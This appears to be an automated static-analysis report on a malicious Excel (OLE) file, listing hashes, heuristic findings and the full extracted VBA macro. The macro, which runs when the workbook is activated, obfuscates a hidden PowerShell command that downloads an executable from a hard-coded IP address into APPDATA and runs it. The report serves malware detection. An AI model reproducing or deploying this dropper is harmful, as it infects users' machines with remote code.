Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 09210385a8b97621…

MALICIOUS

Office (OLE)

6.0 KB First seen: 2021-11-02
MD5: 142afbddd276ce684255b06453d76e7b SHA-1: e1266860a862a87f198c17583bae28dd2561e161 SHA-256: 09210385a8b97621d0b462450d3fd872ef0b984e134bef9fd4735839f6916b13
140 Risk Score

Heuristics 3

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2345 bytes
SHA-256: a9daa837c6f0414f016d4dd8c0f8813762742929efaa866b55832f7064266039
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Workbook_Activate()
On Error Resume Next

Dim bat As String


Dim s As String

s = s + "start "
Dim a As String
s = s + "/MI" + "N C:\Wi" + "ndo"
Dim dfdf As String
s = s + "ws\Sys" + "tem32\" + "Wind" + "owsPo" + "wer"
Dim fwefewf As String
s = s + "She" + "ll\v1.0" + "\pow" + "ersh" + "ell." + "exe"
Dim ewfwef As String
s = s + " -win " + "1 -e" + "nc "


s = s + "JABQAHIAbwBjAE4AYQ"
s = s + "BtAGUAIAA9ACAAIgBP"
s = s + "AG4AdgBpAGEAcgBjAH"
s = s + "EAYQBnAHIAbQBxAGgA"
s = s + "bwBoAHMAdABxAHcALg"
s = s + "BlAHgAZQAiADsAKABO"
s = s + "AGUAdwAtAE8AYgBqAG"
s = s + "UAYwB0ACAAUwB5AHMA"
s = s + "dABlAG0ALgBOAGUAdA"
s = s + "AuAFcAZQBiAEMAbABp"
s = s + "AGUAbgB0ACkALgBEAG"
s = s + "8AdwBuAGwAbwBhAGQA"
s = s + "RgBpAGwAZQAoACIAaA"
s = s + "B0AHQAcAA6AC8ALwAz"
s = s + "AC4ANgA0AC4AMgA1AD"
s = s + "EALgAxADMAOQAvAHYA"
s = s + "MwAvADIALwBOAGUAdw"
s = s + "BfADcANwAxADAAMAA4"
s = s + "ADEAMgAzADEAMQA1AC"
s = s + "4AZQB4AGUAIgAsACIA"
s = s + "JABlAG4AdgA6AEEAUA"
s = s + "BQAEQAQQBUAEEAXAAk"
s = s + "AFAAcgBvAGMATgBhAG"
s = s + "0AZQAiACkAOwBTAHQA"
s = s + "YQByAHQALQBQAHIAbw"
s = s + "BjAGUAcwBzACAAKAAi"
s = s + "ACQAZQBuAHYAOgBBAF"
s = s + "AAUABEAEEAVABBAFwA"
s = s + "JABQAHIAbwBjAE4AYQ"
s = s + "BtAGUAIgApAA=="


Dim x As Double

ActiveWorkbook.Save

bat = "Yykxvtcpveycibhsvonjcs.bat"

Open bat For Output As #1
    Print #1, s 
    Close #1
    x = Shell(bat, 0)

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Workbook"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True